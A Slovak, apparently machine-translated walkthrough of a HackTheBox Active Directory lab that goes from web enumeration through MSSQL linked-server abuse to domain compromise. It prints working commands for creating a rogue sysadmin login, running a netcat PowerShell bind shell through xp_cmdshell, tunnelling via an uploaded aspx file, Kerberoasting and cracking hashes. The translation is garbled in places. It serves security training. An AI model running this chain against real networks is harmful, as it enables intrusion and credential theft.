HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

V tomto článku budeme analyzovať prechod nielen stroja, ale celého minilaboratória z miesta HackTheBox.

Ako je uvedené v popise, POO je navrhnutý na testovanie zručností vo všetkých fázach útokov v malom prostredí Active Directory. Cieľom je kompromitovať dostupného hostiteľa, eskalovať privilégiá a nakoniec kompromitovať celú doménu zhromaždením 5 príznakov v tomto procese.

Spojenie s laboratóriom je cez VPN. Odporúča sa nepripájať sa z fungujúceho počítača alebo z hostiteľa, kde sú pre vás dôležité dáta, keďže sa dostávate do súkromnej siete s ľuďmi, ktorí niečo vedia o informačnej bezpečnosti 🙂

organizačné informácie
Aby ste sa mohli dozvedieť o nových článkoch, softvéri a iných informáciách, vytvoril som Telegramový kanál и skupina na prediskutovanie akýchkoľvek problémov v areáli IIKB. Aj vaše osobné požiadavky, otázky, návrhy a odporúčania Pozriem sa a každému odpoviem..

Všetky informácie sú poskytované len na vzdelávacie účely. Autor tohto dokumentu nepreberá žiadnu zodpovednosť za akúkoľvek škodu spôsobenú komukoľvek v dôsledku použitia vedomostí a metód získaných štúdiom tohto dokumentu.

Úvod

Táto koncová hra pozostáva z dvoch strojov a obsahuje 5 vlajok.

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

Uvádza sa aj popis a adresa dostupného hostiteľa.

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

Začnime!

Prieskumná vlajka

Tento počítač má IP adresu 10.13.38.11, ktorú pridávam do /etc/hosts.
10.13.38.11 poo.htb

Prvým krokom je skenovanie otvorených portov. Keďže skenovanie všetkých portov pomocou nmap trvá dlho, najskôr to urobím pomocou masscan. Skenujeme všetky porty TCP a UDP z rozhrania tun0 rýchlosťou 500 pps.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

Teraz, ak chcete získať podrobnejšie informácie o službách, ktoré bežia na portoch, spustite skenovanie s voľbou -A.

nmap -A poo.htb -p80,1433

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

Máme teda služby IIS a MSSQL. V tomto prípade zistíme skutočný DNS názov domény a počítača. Na webovom serveri nás privíta domovská stránka IIS.

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

Prejdime si cez adresáre. Používam na to gobuster. V parametroch udávame počet streamov 128 (-t), URL (-u), slovník (-w) a rozšírenia, ktoré nás zaujímajú (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

Máme teda k dispozícii HTTP autentifikáciu pre adresár /admin, ako aj súbor úložiska desktopovej služby .DS_Store. .DS_Store sú súbory, ktoré ukladajú používateľské nastavenia pre priečinok, ako je zoznam súborov, umiestnenie ikon, vybratý obrázok na pozadí. Takýto súbor môže skončiť v adresári webového servera webových vývojárov. Takto získame informácie o obsahu adresára. Na to môžete použiť Prehľadávač DS_Store.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

Dostaneme obsah adresára. Najzaujímavejší je tu adresár /dev, z ktorého vidíme zdroje a db súbory v dvoch vetvách. Ale môžeme použiť prvých 6 znakov názvov súborov a adresárov, ak je služba zraniteľná voči IIS ShortName. Túto chybu zabezpečenia môžete skontrolovať pomocou IIS skrátený názov Scanner.

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

A nájdeme jeden textový súbor, ktorý začína na „poo_co“. Keďže som nevedel ako ďalej, jednoducho som zo slovníka adresárov vybral všetky slová, ktoré začínajú na „co“.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

A iterujte s wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

A nájdite správne slovo! Pozrieme sa na tento súbor, uložíme poverenia (súdiac podľa parametra DBNAME, sú z MSSQL).

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

Odovzdáme vlajku a postupujeme o 20%.

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

Huh vlajka

My sa pripájame na MSSQL, ja používam DBeaver.

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

V tejto databáze nenájdeme nič zaujímavé, poďme si vytvoriť SQL Editor a skontrolujme, čo sú používatelia.

SELECT name FROM master..syslogins;

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

Máme dvoch používateľov. Pozrime sa na naše privilégiá.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

Neexistujú teda žiadne privilégiá. Pozrime sa na prepojené servery, písal som o tejto technike podrobne tu.

SELECT * FROM master..sysservers;

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

Takže nájdeme ďalší SQL Server. Skontrolujeme vykonávanie príkazov na tomto serveri pomocou openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

A dokonca môžeme vytvoriť strom dotazov.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Faktom je, že keď odošleme požiadavku na prepojený server, požiadavka sa vykoná v kontexte iného používateľa! Pozrime sa, aký používateľský kontext spúšťame na prepojenom serveri.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

A teraz sa pozrime, v akom kontexte sa vykoná požiadavka z prepojeného servera na náš!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

Ide teda o kontext DBO, ktorý musí mať všetky privilégiá. Skontrolujte oprávnenia v prípade požiadavky z prepojeného servera.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

Ako vidíte, máme všetky privilégiá! Vytvorme si nášho admina takto. Ale cez openquery ich nepustia, urobme to cez EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

A teraz sa pripájame k povereniam nového používateľa a sledujeme novú databázu vlajok.

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

Odovzdáme túto vlajku a ideme ďalej.

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

Návratová vlajka

Poďme získať shell pomocou MSSQL, používam mssqlclient z balíka impacket.

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

Potrebujeme získať heslá a prvá vec, s ktorou sme sa už stretli, je stránka. Potrebujeme teda konfiguráciu webového servera (nemôžeme hodiť pohodlný shell, zrejme funguje firewall).

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

Prístup je však odmietnutý. Hoci môžeme čítať súbor z MSSQL, potrebujeme len vedieť, aké programovacie jazyky sú nakonfigurované. A v adresári MSSQL zistíme, že existuje Python.

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

Potom nie je problém prečítať súbor web.config.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

S nájdenými povereniami prejdite na /admin a vyzdvihnite vlajku.

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

oporná vlajka

V skutočnosti existujú určité nepríjemnosti z používania brány firewall, ale pri pohľade na nastavenia siete si všimneme, že sa používa aj protokol IPv6!

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

Pridajte túto adresu do /etc/hosts.
dead:babe::1001 poo6.htb
Poďme znova skenovať hostiteľa, ale tentoraz cez IPv6.

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

A služba WinRM je dostupná cez IPv6. Spojme sa s nájdenými povereniami.

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

Na ploche je vlajka, odovzdaj ju.

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

P00ned vlajka

Po rekognícii na hostiteľovi s winpeas nenachádzame nič zvláštne. Potom bolo rozhodnuté znova hľadať poverenia (na túto tému som tiež písal статью). Ale nepodarilo sa mi získať všetky SPN zo systému cez WinRM.

setspn.exe -T intranet.poo -Q */*

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

Vykonajte príkaz cez MSSQL.

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

Týmto spôsobom získame SPN používateľov p00_hr a p00_adm, čo znamená, že sú zraniteľní voči útoku, ako je Kerberoasting. Stručne povedané, môžeme získať hash ich hesiel.

Najprv musíte získať stabilný shell v mene používateľa MSSQL. Ale keďže máme obmedzený prístup, máme spojenie s hostiteľom iba cez porty 80 a 1433. Ale je možné tunelovať prevádzku cez port 80! Na to používame ďalšia aplikácia. Nahrajte súbor tunnel.aspx do domovského adresára web servera - C: inetpubwwwroot.

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

Ale keď sa k nemu pokúsime dostať, dostaneme chybu 404. To znamená, že súbory *.aspx sa nespustia. Aby sa súbory s týmito príponami spúšťali, nainštalujte ASP.NET 4.5 nasledovne.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

A teraz, keď pristupujeme k tunelu.aspx, dostávame odpoveď, že všetko je pripravené.

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

Spustíme klientsku časť aplikácie, ktorá bude prenášať komunikáciu. Presmerujeme všetku komunikáciu z portu 5432 na server.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

A používame proxychains na odosielanie návštevnosti akejkoľvek aplikácie cez náš proxy. Pridajme tento proxy do konfiguračného súboru /etc/proxychains.conf.

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

Teraz nahrajte program na server netcat, s ktorým vytvoríme stabilný bind shell, a skript Vyvolajte Kerberoast, s ktorým vykonáme útok Kerberoasting.

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

Teraz cez MSSQL spustíme poslucháč.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

A pripájame sa cez náš proxy.

proxychains rlwrap nc poo.htb 4321

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

A poďme na hashe.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

Ďalej musíte tieto hodnoty hash opakovať. Keďže rockyou nemal slovník údajov hesiel, použil som VŠETKY slovníky hesiel poskytnuté v Seclists. Pre enumeráciu používame hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

A nájdeme obe heslá, prvé v slovníku dutch_passwordlist.txt a druhé v Keyboard-Combinations.txt.

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

A tak máme troch používateľov, ideme na radič domény. Najprv zistime jeho adresu.

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

Skvelé, dozvedeli sme sa IP adresu radiča domény. Poďme zistiť všetkých používateľov domény, ako aj to, ktorý z nich je správcom. Na stiahnutie skriptu na získanie informácií PowerView.ps1. Potom sa pripojíme pomocou evil-winrm, pričom v parametri -s uvedieme adresár so skriptom. A potom stačí načítať skript PowerView.

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

Teraz máme prístup ku všetkým jeho funkciám. Používateľ p00_adm vyzerá ako privilegovaný používateľ, takže budeme pracovať v jeho kontexte. Vytvorme pre tohto používateľa objekt PSCredential.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Teraz budú všetky príkazy Powershell, kde zadáme Creds, vykonané v mene p00_adm. Zobrazme zoznam používateľov a atribút AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

A tak je náš používateľ skutočne privilegovaný. Pozrime sa, do ktorých skupín patrí.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

Nakoniec potvrdíme, že používateľ je správcom domény. To mu dáva právo na vzdialené prihlásenie do radiča domény. Skúsme sa prihlásiť s WinRM pomocou nášho tunela. Bol som zmätený chybami, ktoré vydal reGeorg pri používaní evil-winrm.

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

Potom použijeme iný, jednoduchší, skript na pripojenie k WinRM. Otvorte a zmeňte parametre pripojenia.

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

Snažíme sa pripojiť a sme v systéme.

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

Ale nie je tam žiadna vlajka. Potom sa pozrite na používateľa a skontrolujte plochy.

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

Na mr3ks nájdeme vlajku a laboratórium je hotové na 100%.

HackTheBoxendgame. Priechod laboratória Professional Offensive Operations. Pentest Active Directory

To je všetko. Ako spätnú väzbu uveďte, či ste sa z tohto článku dozvedeli niečo nové a či bol pre vás užitočný.

Môžete sa k nám pridať na telegram. Nájdete tam zaujímavé materiály, zlúčené kurzy, ale aj softvér. Poďme zhromaždiť komunitu, v ktorej budú ľudia, ktorí rozumejú mnohým oblastiam IT, potom si môžeme vždy navzájom pomôcť v akýchkoľvek otázkach IT a bezpečnosti informácií.

Zdroj: hab.com

Pridať komentár